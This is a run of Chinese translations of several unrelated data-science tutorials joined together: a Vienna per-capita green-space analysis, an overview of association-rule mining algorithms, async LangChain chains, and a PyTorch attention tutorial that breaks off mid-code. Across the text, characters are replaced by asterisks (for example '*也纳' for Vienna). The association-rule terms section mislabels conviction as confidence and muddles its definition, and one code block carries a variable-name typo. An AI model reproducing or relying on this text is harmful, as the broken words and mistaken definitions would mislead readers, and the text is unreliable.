gdf_green_mapped_distr.head(3)
gdf_green_mapped_cens = gpd.overlay(gdf_green_2, admin_census_2)
gdf_green_mapped_cens['green_area'] = \
gdf_green_mapped_cens.geometry.apply(lambda g: g.area)
gdf_green_mapped_cens = \
gdf_green_mapped_cens.groupby(by = 'census_district_id').sum()[['green_area']]
gdf_green_mapped_cens = \
gpd.GeoDataFrame(admin_census_2.merge(gdf_green_mapped_cens, left_on = 'census_district_id', right_index = True))
gdf_green_mapped_cens['green_ratio'] = gdf_green_mapped_cens.green_area / gdf_green_mapped_cens.admin_area
gdf_green_mapped_cens.head(3)
最后,按区和普查区可视化绿色比率!结果似乎非常有意义,外围区域的绿化水平较高,而中心区域的绿化水平明显较低。此外,250 个普查区清晰地显示了不同街区特征的更详细、更细致的图景,为城市规划者提供了更深刻和更本地化的洞察。另一方面,区级信息由于空间单元减少了十倍,展示了总体平均水平。
f, ax = plt.subplots(1,2,figsize=(17,5))
gdf_green_mapped_distr.plot(ax = ax[0],
column = 'green_ratio',
edgecolor = 'k',
linewidth = 0.5,
alpha = 0.9,
legend = True,
cmap = 'Greens')
gdf_green_mapped_cens.plot(ax = ax[1],
column = 'green_ratio',
edgecolor = 'k',
linewidth = 0.5,
alpha = 0.9,
legend = True,
cmap = 'Greens')
这段代码输出了以下地图:
这两张地图显示了*也纳每个区/普查区的绿色面积比率。图片由作者提供。
4.2 为每个行政单位添加人口和收入信息
在本节的最后一步,让我们将统计数据映射到行政区域。提醒一下:我们在区级和普查区级都有人口数据。然而,我只能在区级找到收入(社会经济水平指标)。这在地理空间数据科学中是一种常见的权衡。虽然一个*度(绿化)在更高分辨率(普查区)下更具洞察力,但数据限制可能会迫使我们使用较低分辨率的数据。
display(admin_census_2.head(2))
display(df_pop_cens_2.head(2))
gdf_pop_mapped_distr = admin_district_2.merge(df_pop_distr_2, \
left_on = 'district_id', right_index = True)
gdf_pop_mapped_cens = admin_census_2.merge(df_pop_cens_2, \
left_on = 'census_district_id', right_index = True)
gdf_inc_mapped_distr = admin_district_2.merge(df_inc_distr_2, \
left_on = 'district_id', right_index = True)
f, ax = plt.subplots(1,3,figsize=(15,5))
gdf_pop_mapped_distr.plot(column = 'district_population', ax=ax[0], \
edgecolor = 'k', linewidth = 0.5, alpha = 0.9, cmap = 'Blues')
gdf_pop_mapped_cens.plot(column = 'census_district_population', ax=ax[1], \
edgecolor = 'k', linewidth = 0.5, alpha = 0.9, cmap = 'Blues')
gdf_inc_mapped_distr.plot(column = 'district_average_income', ax=ax[2], \
edgecolor = 'k', linewidth = 0.5, alpha = 0.9, cmap = 'Purples')
ax[0].set_title('district_population')
ax[1].set_title('census_district_population')
ax[2].set_title('district_average_incomee')
这段代码生成了以下图形:
*也纳街区的各种统计信息。图片由作者提供。
4.3 绿色面积人均计算
让我们总结一下目前的情况,所有数据都整合成了与*也纳各区和普查区对应的整洁形状文件:
在区级,我们有绿色面积比率、人口和收入数据。
在普查区的层面上,我们有绿色面积比率和人口数据。
为了简单地捕捉绿色平等,我将绿色面积的绝对大*与区级和普查区级的人口信息合并,计算人均绿色面积的总量。
让我们来看看我们的输入——绿色覆盖和人口:
# a plot for the disticts
f, ax = plt.subplots(1,2,figsize=(10,5))
gdf_green_mapped_distr.plot(
ax = ax[0],
column = 'green_ratio',
edgecolor = 'k',
linewidth = 0.5,
alpha = 0.9,
cmap = 'Greens')
gdf_pop_mapped_distr.plot(
ax = ax[1],
column = 'district_population',
edgecolor = 'k',
linewidth = 0.5,
alpha = 0.9,
cmap = 'Reds')
ax[0].set_title('green_ratio')
ax[1].set_title('district_population')
# a plot for the census disticts
f, ax = plt.subplots(1,2,figsize=(10,5))
gdf_green_mapped_cens.plot(
ax = ax[0],
column = 'green_ratio',
edgecolor = 'k',
linewidth = 0.5,
alpha = 0.9,
cmap = 'Greens')
gdf_pop_mapped_cens.plot(
ax = ax[1],
column = 'census_district_population',
edgecolor = 'k',
linewidth = 0.5,
alpha = 0.9,
cmap = 'Reds')
ax[0].set_title('green_ratio')
ax[1].set_title('district_population')
这段代码生成了以下图形:
*也纳各区和普查区的绿色面积和人口水平。图片由作者提供。
为了计算人均绿地面积,我将首先通过以下步骤合并绿化和人口数据框。我将以普查区为例,因为它的空间分辨率更高,允许我们观察到更好的模式(如果有的话)。确保我们不进行零除操作,并遵循常识;我们来去除那些无人居住的区域。
gdf_green_pop_cens = \
gdf_green_mapped_cens.merge(gdf_pop_mapped_cens.drop( \
columns = ['geometry', 'admin_area']), left_on = 'census_district_id',\
right_on = 'census_district_id')[['census_district_id', \
'green_area', 'census_district_population', 'geometry']]
gdf_green_pop_cens['green_area_per_capita'] = \
gdf_green_pop_cens['green_area'] / \
gdf_green_pop_cens['census_district_population']
gdf_green_pop_cens = \
gdf_green_pop_cens[gdf_green_pop_cens['census_district_population']>0]
f, ax = plt.subplots(1,1,figsize=(10,7))
gdf_green_pop_cens.plot(
column = 'green_area_per_capita',
ax=ax,
cmap = 'RdYlGn',
edgecolor = 'k',
linewidth = 0.5)
admin_district.to_crs(31282).plot(\
ax=ax, color = 'none', edgecolor = 'k', linewidth = 2.5)
这段代码块的结果是以下图形:
每个普查区根据其人均绿地评分着色。图像由作者提供。
让我们稍微调整一下可视化:
f, ax = plt.subplots(1,1,figsize=(11,7))
ax.set_title('Per-capita green area in\nthe census districts of Vienna',
fontsize = 18, pad = 30)
gdf_green_pop_cens.plot(
column = 'green_area_per_capita',
ax=ax,
cmap = 'RdYlGn',
edgecolor = 'k',
linewidth = 0.5,
legend=True,
norm=matplotlib.colors.LogNorm(\
vmin=gdf_green_pop_cens.green_area_per_capita.min(), \
vmax=gdf_green_pop_cens.green_area_per_capita.max()), )
admin_district.to_crs(31282).plot(
ax=ax, color = 'none', edgecolor = 'k', linewidth = 2.5)
这段代码的结果是以下图形:
每个普查区根据其人均绿地评分着色。图像由作者提供。
区域的情况也是如此:
# compute the per-capita green area scores
gdf_green_pop_distr = \
gdf_green_mapped_distr.merge(gdf_pop_mapped_distr.drop(columns = \
['geometry', 'admin_area']), left_on = 'district_id', right_on = \
'district_id')[['district_id', 'green_area', 'district_population', \
'geometry']]
gdf_green_popdistr = \
gdf_green_pop_distr[gdf_green_pop_distr.district_population>0]
gdf_green_pop_distr['green_area_per_capita'] = \
gdf_green_pop_distr['green_area'] / \
gdf_green_pop_distr['district_population']
# visualize the district-level map
f, ax = plt.subplots(1,1,figsize=(10,8))
ax.set_title('Per-capita green area in the districts of Vienna', \
fontsize = 18, pad = 26)
gdf_green_pop_distr.plot(column = 'green_area_per_capita', ax=ax, \
cmap = 'RdYlGn', edgecolor = 'k', linewidth = 0.5, legend=True, \
norm=matplotlib.colors.LogNorm(vmin=\
gdf_green_pop_cens.green_area_per_capita.min(), \
vmax=gdf_green_pop_cens.green_area_per_capita.max()), )
admin_city.to_crs(31282).plot(ax=ax, \
color = 'none', edgecolor = 'k', linewidth = 2.5)
这段代码块的结果是以下图形:
每个区根据其人均绿地评分着色。图像由作者提供。
尽管显著的趋势很清楚——外缘,每个人更多的绿地,市区,反转。然而,这两个图表,特别是详细的普查区层级图表,清楚地显示了不同区域人们享有的绿地面积的差异。进一步的研究和引入额外的数据来源,例如土地使用数据,可能有助于更好地解释这些区域为什么拥有较高的绿地或人口。目前,让我们欣赏这张地图,希望每个人都能在自己家中找到适量的绿意!
# merging the greenery, population and financial data
gdf_district_green_pip_inc = \
gdf_green_pop_distr.merge(gdf_inc_mapped_distr.drop(columns = \
['geometry']))
可视化金融和绿化*度之间的关系:
f, ax = plt.subplots(1,1,figsize=(6,4))
ax.plot(gdf_district_green_pip_inc.district_average_income, \
gdf_district_green_pip_inc.green_area_per_capita, 'o')
ax.set_xscale('log')
ax.set_yscale('log')
ax.set_xlabel('district_average_income')
ax.set_ylabel('green_area_per_capita')
这段代码块的结果是以下散点图:
比较*也纳各区的平均净收入与人均绿地面积比率。图像由作者提供。
初看之下,散点图并未特别支持金融数据决定人们获取绿地的情况。说实话,我对这些结果有点惊讶——然而,考虑到*也纳长期以来有意识地努力绿化城市,这可能就是我们在这里没有看到任何主要趋势的原因。为了确认,我还检查了这两个变量之间的相关性:
print(spearmanr(gdf_district_green_pip_inc.district_average_income, gdf_district_green_pip_inc.green_area_per_capita))
print(pearsonr(gdf_district_green_pip_inc.district_average_income, gdf_district_green_pip_inc.green_area_per_capita))
由于金融数据的重尾分布,我会更认真地考虑斯皮尔曼(0.13)相关性,但即使是皮尔逊相关性(0.30)也暗示了一个相对较弱的趋势,这与我之前的观察一致。
无监督学习中的关联规则挖掘
原文:
towardsdatascience.com/association-rule-mining-in-unsupervised-learning-df86170160de
数据挖掘中的模式发现术语和概念
·发表于 Towards Data Science ·5 分钟阅读·2023 年 1 月 25 日
--
Kier... in Sight 在 Unsplash 的照片
模式发现试图揭示大数据集中的模式,这为许多数据挖掘任务奠定了基础,如关联分析、相关性分析和因果分析、聚类分析等。
本文介绍了关联规则挖掘中的常见术语,并随后讲解了频繁模式和序列模式的关联规则挖掘技术。
目录
频繁模式
序列模式
术语
-
支持度:项
X
出现的概率,表示为P(X)
,衡量项的受欢迎程度 -
置信度:在获取项
Y
后获取项X
的条件概率,表示为P(X|Y)
-
提升度:置信度除以支持度,表示为
P(X|Y)/P(X)
,衡量项的独立性以及在添加项Y
到购物车后,项X
被购买的可能性更高 -
杠杆度:两项的支持度之差与两项独立时的预期支持度之差,表示为
P(XUY)-P(X)P(Y)
,衡量项的独立性 -
置信度:支持度除以置信度,记作
(1-P(X))/(1-P(X|Y))
,衡量项的独立性,高置信度是Y->X
强置信度和X
低支持度的组合。
Apriori 算法
水平广度优先搜索算法
Apriori 算法通过指定最低置信度阈值来识别关联。关联的直觉在于对一个后继项在一个前驱项被选择后被选择的信心,记作 P(consequent|antecedent)
。
图 1:事务数据示例 — 作者提供的图片
例如,在图 1 中,Confidence(A->C) = P(C|A) = 0.75
,因为项 C
在 A
后被购买的次数为 4 次中的 3 次。如果此置信度高于最低置信度阈值(例如 0.5),则可以得出 A->C
的关联。
通过应用向下封闭原则来加速频繁项集的搜索,而不是计算每个项集之间的置信度。向下封闭原则指出,任何频繁项集的子集必须也是频繁的,例如,如果项集 A, B, C
是频繁的,则它的子集项集 A, B
也必须是频繁的。
Apriori 算法的缺点是必须反复扫描数据以计算每个项或项集的支持度和置信度。
等价类转换(ECLAT)
使用集合交集的垂直深度优先搜索算法
在 Apriori 算法中,数据被视为水平事务级数据,其中每个事务包含一个或多个项。在 ECLAT 中,数据被转换为垂直项级数据,每个项具有一个包含其出现的事务 ID 的集合(称为 TIDset
)。
图 2:垂直项级数据示例 — 作者提供的图片
根据图 1 中的事务数据示例,可以将其重新排列为垂直项级数据,如图 2 所示。例如,项 B
出现在事务 1、2 和 3 中,这将导致 TIDset {1, 2, 3}
。
项的支持度和置信度计算可以通过 TIDset
之间的集合交集完成。ECLAT 算法比 Apriori 算法更节省内存和计算,因为它使用深度优先搜索,不需要多次扫描数据以获取每个项的支持度。
频繁模式增长(FP-Growth)
使用 Trie 数据结构的垂直深度优先搜索算法
FP-Growth 的直觉是找到频繁单项,并根据每个这样的项对数据库进行分区,然后递归地为每个分区数据库增长频繁模式。这些操作通过 Trie 数据结构(FP-树)有效完成。
数据被扫描两次 — 第一次是查找单项频繁模式(满足最低支持度),第二次是构建 FP-树。
图 3:频繁模式的样本 Trie 数据结构 — 图片来源于作者
根据图 1 中的交易数据示例,可以创建如图 3 所示的 FP 树。交易 1 和 2 路径为 A-B-C-D
,交易 3 路径为 A-B-D
,交易 4 路径为 A-C
。
图 4:条件模式基 — 图片来源于作者
从这个 FP 树中,我们可以轻松计算条件模式基(图 4),例如项 C
与 {A, B}
一起出现两次,与 {A}
一次 — 无需重新扫描数据。
广义序列模式(GSP)
基于 Apriori 的序列模式挖掘,广度优先搜索
GSP 与 Apriori 算法类似,其中数据首先扫描单项序列并筛选频繁序列。然后,数据会不断扫描和筛选以检索更长的子序列。需要注意的是,项在子序列中不必连续,模式可以包含重复的项。
其他基于 Apriori 的序列模式挖掘包括 使用等效类的序列模式发现(SPADE)算法,该算法类似于 ECLAT 算法。
前缀投影序列模式挖掘(PrefixSpan)
基于模式增长的序列模式挖掘,深度优先搜索
PrefixSpan 将条目分为前缀和后缀。捕获频繁的前缀,并将前缀的投影作为后缀。
PrefixSpan 通过一次扫描数据来查找长度为 1 的序列模式,并递归扩展频繁的长度为 1 的序列模式。扩展是通过将长度为 1 的模式作为前缀,并将以长度为 1 的模式开头的其余项作为后缀(称为投影数据库)来完成的,并递归地增加前缀的长度。每次迭代后,投影数据库会缩*,因为后缀的长度减少。
该算法速度较慢,但可以通过伪投影优化,使用指针代替物理复制后缀。
其他基于模式增长的序列模式挖掘包括 频繁模式投影序列模式挖掘(FreeSpan),其效率不如 PrefixSpan。
与聚类相比,聚类是另一种无监督学习的主题,我觉得关联规则挖掘在统计学上更有基础,使其更具挑战性。不过,希望这篇文章对一些流行的关联规则挖掘技术提供了一个概述!
相关链接
论文
-
基于 Apriori 的序列模式: SPADE
-
基于模式增长的序列模式: PrefixSpan、FreeSpan
LangChain 和 LLMs 的异步处理
如何使 LangChain 链与异步调用的 LLMs 一起工作,从而加快运行顺序长链的时间
·
关注 发布于 Towards Data Science ·6 分钟阅读·2023 年 7 月 10 日
--
在本文中,我将介绍如何使用异步调用 LLMs 来处理长工作流,使用 LangChain。我们将通过一个完整代码的示例进行讲解,并比较顺序执行与异步调用的差异。
这里是内容概览。如果你愿意,可以跳转到你感兴趣的部分:
-
基础知识:什么是 LangChain
-
如何使用 LangChain 运行同步链
-
如何运行单个异步链与 LangChain
-
长工作流程中的实用技巧与异步链。
所以让我们开始吧!
基础知识:什么是 LangChain
LangChain 是一个基于语言模型开发应用程序的框架。这就是 LangChain 的官方定义。这个框架是最近创建的,已经被用作建立由 LLM 支持的工具的行业标准。
它是开源的,并且在非常快的时间框架内发布新功能。
官方文档可以在这里找到,GitHub 存储库可以在这里找到。
我们在这个库中遇到的一个缺点是,由于这些功能是新的,我们不能有效地使用 Chat GPT 来帮助构建新的代码。这意味着我们必须以“古老”的方式阅读文档、论坛和教程来工作。
LangChain 的文档确实很好,但是关于某些特定事物的例子并不多。
我在异步长链方面遇到了这个问题。
这是我用来了解更多关于这个框架的主要资源:
-
深度学习 AI 课程:LangChain Chat with your data;
-
官方文档;
(附注:它们都是免费的)
如何运行 LangChain 的同步链
所以让我说明我遇到的问题:我有一个包含大量行的数据框架,对于每一行,我需要运行多个提示(链)到一个 LLM,并将结果返回到我的数据框架中。
当你有多个行时,比如 1 万行,每个行运行 3 个提示,并且每个响应(如果服务器没有超载)大约需要 3-5 秒,你最终会等待数天才能完成工作流程。
下面我将展示主要步骤和构建同步链的代码,并在数据子集上计时。
对于这个例子,我将使用数据集Wine Reviews,许可证。这里的目标是从书面评论中提取一些信息。
我想提取一份评论摘要、主要情感以及每种葡萄酒的前五个特征。
为此,我创建了两个链,一个用于摘要和情感,另一个使用摘要作为输入来提取特征。
这是运行它的代码:
运行时间(10 个示例):
摘要链(顺序执行)在 22.59 秒内执行完毕。
特征链(顺序执行)在 22.85 秒内执行完毕。
如果你想更深入地了解我使用的组件,我真的推荐观看深度学习 AI 课程。
这段代码的主要收获是链的构建模块、如何以顺序方式运行它,以及完成此循环所需的时间。需要记住的是,对于 10 个示例,大约需要 45 秒,而完整的数据集包含 130K 行。因此,异步实现是以合理时间运行的“新希望”。
因此,既然问题已经设置并且基线已经确定,我们来看看如何优化这段代码以便更快地运行。
如何使用 LangChain 运行单个异步链
为此,我们将使用一种叫做异步调用的资源。为了说明这一点,我将首先简要解释代码的作用以及哪些地方的时间消耗过长。
在我们的示例中,我们遍历数据框的每一行,从行中提取一些信息,将它们添加到提示中,然后调用 GPT API 获取响应。收到响应后,我们解析它并将其重新添加到数据框中。
图片由作者提供
主要的瓶颈在于调用 GPT API,因为我们的计算机必须在等待该 API 响应时闲置(大约 3 秒)。其余的步骤都很快,可以继续优化,但这不是本文的重点。
那么,既然不需要闲等响应,我们为什么不同时发送所有 API 请求呢?这样我们只需等待一个响应,然后处理所有响应。这就是所谓的异步 API 调用。
图片由作者提供
这样,我们可以顺序地进行预处理和后处理,但对 API 的调用不必等到上一个响应回来后再发送下一个请求。
下面是异步链的代码:
在这段代码中,我们使用了 Python 的 async 和 await 语法。LangChain 也提供了运行异步链的代码,使用 arun() 函数。因此,开始时我们首先顺序处理每一行(可以优化),并创建多个“任务”来并行等待 API 响应,然后顺序处理响应以达到最终所需格式(也可以优化)。
运行时间(10 个示例):
摘要链(异步)执行时间为 3.35 秒。
特征链(异步)执行时间为 2.49 秒。
与顺序执行相比:
摘要链(顺序)执行时间为 22.59 秒。
特征链(顺序)执行时间为 22.85 秒。
我们可以看到运行时间几乎提高了 10 倍。因此,对于大型工作负载,我强烈推荐使用这种方法。此外,我的代码中充满了可以进一步优化的 for 循环,以提升性能。
本教程的完整代码可以在这个 Github Repo 中找到。
使用异步链的长工作流的实际建议。
当我运行这些代码时,遇到了一些限制和障碍,我想和你们分享一下。
笔记本电脑不支持异步操作
在 Jupyter 笔记本中运行异步调用时,你可能会遇到一些问题。然而,只需询问 Chat GPT,它可能会帮助你解决这些问题。我编写的代码是为了在.py 文件中运行大工作负载,所以在笔记本中运行时可能需要一些修改。
输出的键太多了
第一个问题是我的链有多个输出键,而当时的 arun()只接受具有一个输出键的链。为了解决这个问题,我不得不将链拆分成两个独立的链。
不是所有链都可以异步处理
我在提示中使用了一个向量数据库进行示例和比较的逻辑,这需要将示例按顺序比较并添加到数据库中。这使得在整个链中使用异步处理变得不可行。
内容不足
针对这个特定的问题,我找到的最好内容是官方异步文档,并根据我的用例进行构建。所以如果你运行后发现新东西,记得与大家分享!
结论
LangChain 是一个非常强大的工具,用于创建基于 LLM 的应用程序。我强烈推荐学习这个框架并参加上述提到的课程。
对于运行链的具体主题,对于高工作负载,我们看到异步调用的潜在改进,所以我的建议是花时间理解代码在做什么,并拥有一个模板类(如我提供的代码中),并以异步方式运行它!
对于*型工作负载或仅需要一次 API 调用的应用程序,通常不需要异步处理,但如果你有一个模板类,可以添加一个同步函数,以便于使用其中任何一个。
感谢阅读。
完整代码可以在这里找到。
如果你喜欢这些内容并且想支持我,你可以请我喝咖啡:
## Gabriel Cassimiro 是一位分享免费内容的 数据科学家
嗨👋 我刚创建了一个页面。你现在可以请我喝咖啡了!
这里有一些你可能感兴趣的其他文章:
带有 PyTorch 实现深度强化学习代理的端到端项目代码。
在这里购买咖啡 ## 使用 Tensorflow 模型和 OpenCV 进行目标检测
使用训练好的模型来识别静态图像和实时视频中的对象
[towardsdatascience.com
从对齐中获得的注意力,实际解释
原文:
towardsdatascience.com/attention-from-alignment-practically-explained-548ef6588aa4
学习重要的东西,忽略无关的东西。
·发布于Towards Data Science ·阅读时间 11 分钟·2023 年 7 月 19 日
--
图片由Armand Khoury提供,Unsplash
注意力机制,由Attention Is All You Need (2017)的开创性论文普及开来,可以说是目前机器学习中最重要的架构趋势。最初用于序列到序列建模的注意力机制,现已扩展到几乎所有的机器学习子学科。
本文将描述一种在变压器风格的注意力之前的特定注意力形式。我们将讨论它的工作原理及其用途。我们还将回顾一些文献,并提供一个在 PyTorch 中实现这种注意力形式的教程。通过阅读本文,你将对注意力这一概念有更深入的理解,这对探索更前沿的应用非常有用。
注意力机制的原因
注意力机制最初由Neural Machine Translation by Jointly Learning to Align and Translate (2014)推广,这也是本文的指导参考。该论文采用了一个编码器-解码器架构用于英语到法语的翻译。
编码器-解码器架构的简要介绍,用于法语到英语的翻译任务
这是一种非常常见的架构,但具体细节可能会因实现而异。例如,一些早期的序列到序列编码器-解码器文献使用的是递归网络,这些网络逐步“构建”然后“解构”嵌入。
一个简单的序列到序列递归编码器-解码器的信息流概念化。编码器逐步将英语单词一个一个地嵌入到嵌入空间中,然后由解码器进行解构。在此图中,圆圈表示编码器中的嵌入(红色)、中间嵌入空间(白色)以及解码器中的嵌入(蓝色)。在这种情况下,嵌入是长且复杂的向量,包含抽象内容,人类难以直观理解。
这个概念及其*的变体曾经是几年的前沿技术。然而,这种方法的一个问题是整个输入序列必须嵌入到嵌入空间中,这通常是一个固定大*的向量。因此,这些模型很容易忘记过长序列中的内容。注意力机制旨在缓解将整个输入序列适应到嵌入空间的问题。它通过告诉模型哪些输入与哪些输出相关来实现这一点。 换句话说,注意力机制允许模型专注于输入的相关部分,忽略其余部分。
基于注意力的思考过程的一个例子。在法语中,“je”与“我”完全相同。“Suis”是动词“etre”(“to be”)的一个变位形式,并根据主语“I”和动词“am”变成“suis”。“directeur”的选择与“manager”关系密切,但也与该词使用的上下文相关。选择哪些输入与哪些输出相关是注意力机制的任务。
从高层次来看注意力是如何工作的
实际上,我们将讨论的注意力机制最终成为一个称为“对齐”分数的矩阵。这些对齐分数编码了输入序列中的一个单词与输出序列中的一个单词之间的关系程度。
两个注意力矩阵的示例,针对两个不同的英语到法语的例子,来自 神经机器翻译:通过联合学习对齐和翻译(2014)。这篇论文只是间接提到了“注意力”一词,并实际上称之为“对齐模型”。“注意力”这一术语似乎是在事后被普及的。
对齐评分可以通过多种方式计算。我们将坚持使用 2014 年的论文,详细分析其特定的对齐函数:
从《通过联合学习对齐和翻译的神经机器翻译》(2014 年)中计算对齐评分。这不是唯一存在的对齐函数,但这是我们将重点关注的函数。“Ua”和“Wa”表示对先前输出嵌入向量(si-1)和特定输入嵌入向量(hj)的可学习变换,而“va”表示将总嵌入向量减少到最终对齐标量的可学习变换。
在计算第 i 个输出的对齐时,这种方法使用解码器的前一个嵌入状态(s_i-1)、一个输入词的嵌入(h_j)以及可学习的参数 W_a、U_a 和 v_a,以计算第 i 个输出与第 j 个输入的对齐。tanh 激活函数被包含以添加非线性,这在训练模型以理解复杂关系时至关重要。
换句话说,上述函数计算了下一个输出词与单个输入词之间的分数,表示输入词对当前输出的相关性。该函数在所有输入词(h_j)上运行,以根据当前输出计算所有输入词的对齐评分。
一个关于如何计算给定预测(词 8)的对齐的概念图。对齐函数在解码器的前一个输出嵌入向量与所有输入之间计算,以计算当前输出的注意力。改编自《通过联合学习对齐和翻译的神经机器翻译》(2014 年)
对所有计算出的对齐评分应用 softmax 函数,将其转化为概率。这在文献中被称为“soft-search”或“soft-alignment”。
注意力的具体使用方式可以因实现而异。在《通过联合学习对齐和翻译的神经机器翻译》(2014 年)中,注意力机制决定了向解码器提供哪些输入嵌入向量。
一个图示说明了提出的模型尝试生成第 t 个目标词 yt,给定一个源句子(x1, x2, . . . , xT)。每个输入嵌入向量乘以其相应的对齐评分,然后将它们加在一起形成上下文向量,用于当前解码器输出步骤。来自《通过联合学习对齐和翻译的神经机器翻译》(2014 年)。
这个选择过程通过加权和来完成。所有的输入嵌入向量都乘以它们各自的对齐评分(实际上,大多数对齐评分的值为零,而一个或两个可能的值是 0.8 和 0.2),然后这些加权后的嵌入向量被加在一起,形成特定输出的上下文向量。
用于第 i 次解码步骤的上下文向量 ci。这是基于对齐得分的所有输入嵌入的加权总和。来自 Neural Machine Translation by Jointly Learning to Align and Translate(2014)。
上下文向量是所有与当前输出相关的输入的组合。
下图展示了注意力如何融入整体结构:
特定输出的信息流的分解。
-
输入被嵌入到一些初始的向量表示中(例如,使用 word2vect)。
-
这些通过双向 LSTM 进行处理,以在嵌入之间创建一定的上下文意识。
-
使用前一个解码器嵌入和对齐函数中的学习参数来计算每个输入的对齐得分。
-
经过 soft-max 处理的对齐结果会与每个输入相乘,汇总在一起,并用于构建上下文向量。
-
解码器使用前一个解码器的隐藏状态以及上下文向量来生成当前单词的预测。
在下一部分,我们将实现这个注意力机制的 PyTorch 版本。
PyTorch 中的注意力。
虽然我最初计划实现整个英语到法语的示例,但显然实现过程将过于冗长,并且包含许多与注意力机制解释无关的复杂性。因此,我创建了一个玩具问题,该问题模拟了英语到法语翻译的语法方面,以专门展示注意力机制,而无需实现 LSTM、嵌入、辅助令牌、批处理、掩码和其他特定问题的组件。
完整代码可以在 这里 找到,供感兴趣的人参考。
如前所述,英语到法语的翻译可以被认为是两个子问题:对齐和翻译。编码器和解码器中的各种网络翻译值,而注意力机制则重新定位这些向量。换句话说,注意力完全依赖于对齐。 为了模拟英语到法语翻译中的对齐问题,定义了以下玩具问题:
给定一些打乱的值输入。
[[ 0\. 1.], [17\. 18.], [10\. 11.], [13\. 14.], [14\. 15.], [ 2\. 3.] ... ]
将它们组织成顺序输出:
[[0\. 1.], [1\. 2.], [ 2\. 3.], [ 3\. 4.], [ 4\. 5.], [ 5\. 6.] ...]
实际上,给定之前的输出向量,提出给注意力机制的问题是:在给定的可能输出中,下一个应该出现哪个输出? 这与英语到法语翻译中的语法问题非常相似,即:给定先前的输出单词,哪些输入与下一个输出相关? 因此,通过解决这个玩具问题,我们可以展示注意力机制的强大功能,而不会过于深入细节。
定义对齐函数。
回顾对齐函数。
上述讨论的对齐函数,来自于《通过共同学习对齐和翻译的神经机器翻译》(2014)。
这个函数本质上决定了给定前一个输出(si-1)的输入(hj)的权重(α)。这可以直接在 PyTorch 中实现:
"""
Implimenting the alignment function.
The whole idea is that, given an embedding for the encoder and decoder, the
alignment func outputs a scalar raiting the alignment. So, the shapes of
v, W, and U should be such that the output is a scalar.
"""
import torch
import torch.nn.functional as F
#defining the size of the input and output vectors of the attention mechanism
EMBED_DIM = 100
#these need to be sized in such a way that matrix multiplication yields a scalar
#otherwise, they're just general learnable parameters. Different alignment
#functions might have different parameters. For instance, "attention is all you
#need" uses a projection head that generates a query, key, and value, which are
#used in a different self-alignment function. this can allign vectors of different
#lengths
encoder_embedding_dim = EMBED_DIM*2
decoder_embedding_dim = EMBED_DIM
U_attention = torch.rand(EMBED_DIM, encoder_embedding_dim)
W_attention = torch.rand(decoder_embedding_dim, EMBED_DIM)
v_attention = torch.rand(1,EMBED_DIM)
def alignment_func(s, h, W=W_attention, U=U_attention, v=v_attention):
"""
s: si-1, from the paper, the previous decoder state
h: hj, from the paper, an input embedding
W,U,v: trainable parameters
calculates v*tanh(W*s + U*h), should return the scalar alpha
"""
v1 = torch.matmul(W,s)
v2 = torch.matmul(U,h)
v3 = F.tanh(v1+v2)
return torch.matmul(v, v3)
#testing the alignment function between one embedded word and another
#dividing by value to get them in a good range for tanh
s = torch.rand(decoder_embedding_dim)/50
h = torch.rand(encoder_embedding_dim)/50
alignment_func(s, h)
对齐函数的示例输出。一个标量,对应于特定的输入输出对。
定义注意机制
对于给定的前一个输出,注意机制的任务是计算应关注哪些输入。这可以通过计算所有输入的对齐度,并将该对齐向量通过 softmax 来完成。
"""
defining attention, wich is a list of softmaxed alignment scores for all input
embeddings (hj) given the previous decoder embedding (si-1). This is equivilent
to a row of the attention matrix, hence the name of the function.
"""
def compute_attention_row(s, hs, W=W_attention, U=U_attention, v=v_attention):
"""
computes alignments for all h values given s
s is a vector of length embedding size
hs is a tensor of shape (sequence length, embedding size)
the output is a vector of sequence length
"""
return F.softmax(torch.cat([alignment_func(s, h, W, U, v) for h in hs]),0)
#testing the computation of an allignment row between the previous decoder
#embedding and all encoder embeddings
compute_attention_row(torch.rand(decoder_embedding_dim)/50, torch.rand(10,encoder_embedding_dim)/50)
给定输出位置的单个注意向量。
定义一个可学习的注意模块
现在我们需要将前面的函数封装到 PyTorch nn.Module
中。这是以一种计算注意机制产生可追踪梯度的方式实现的,允许通过反向传播更新 U、W 和 V 参数。
此模块还支持不同的编码器和解码器嵌入,这可能在将此模块适应不同应用时非常有用。
"""
Defining the attention module
"""
from torch import nn
#defining the input dimension from the encoder (h) and decoder (s)
encoder_embedding_dim = 10
decoder_embedding_dim = 20
#defining an example sequence length
sequence_length = 15
class Attention(nn.Module):
"""
-computes an alignment for all encoder embeddings
-constructs a context vector using those embeddings
-outputs that context vector
"""
def __init__(self, embed_dim=EMBED_DIM, encoder_embedding_dim=encoder_embedding_dim, decoder_embedding_dim=decoder_embedding_dim):
super(Attention, self).__init__()
#learnable attention parameters
self.U = nn.Parameter(torch.rand(embed_dim, encoder_embedding_dim), requires_grad=True )
self.W = nn.Parameter(torch.rand(embed_dim, decoder_embedding_dim), requires_grad=True )
self.v = nn.Parameter(torch.rand(1,embed_dim), requires_grad=True )
self.encoder_embedding_dim = encoder_embedding_dim
if torch.cuda.is_available():
self.cuda()
def forward(self, s, hn):
"""
computes a batch of context vectors given a current the all encoder
embeddings and the current decoder embedding
"""
#defining a tensor consisting of a context vector for each batch
weights = compute_attention_row(s, hn, W=self.W, U=self.U, v=self.v)
return torch.sum(hn * weights[:, None], axis=0)
print('==== Testing Attention ====')
#testing if the attention mechanism can support different sequence lengths
#and embedding dimensions
test_attention = Attention()
#defining previous decoder state
s = torch.rand(decoder_embedding_dim)/50
#defining input embeddings
hn = torch.rand(sequence_length, encoder_embedding_dim)/50
test_attention(s, hn).shape
创建长度为 10 的上下文向量。这是合理的,因为输入嵌入的长度为 10,这种注意技术的输出是一个上下文向量,即所有输入嵌入的加权和。
训练
现在我们可以训练注意模块来解决玩具问题。这是通过生成 X/Y 对(一个相应的混洗和未混洗的集合),然后迭代每个输出应该是什么,并在模型错误时调整权重来完成的。
""" Training Attention
Essentially, this generates random X/Y pairs, and trains the model to predict
each output given the previous correct output and all of the inputs.
This is a proof of concept. In reality using minibatches, better initializations, and
stochastically providing the true previous output occasionally would probably improve
convergence and generalizability.
"""
import random
from tqdm import tqdm
import numpy as np
import matplotlib.pyplot as plt
min_len = 5
max_len = 20
test_attention = Attention(20,2,2)
loss_fn = nn.MSELoss()
optimizer = torch.optim.SGD(test_attention.parameters(), lr=1e-3, momentum=0.9)
lr_phase = 0
#training on some number of random sequences
batch_losses = []
for i in tqdm(range(800)):
#generating x and y
y = []
x = []
for j in range(random.randint(min_len,max_len)):
y.append([j+1, j+2])
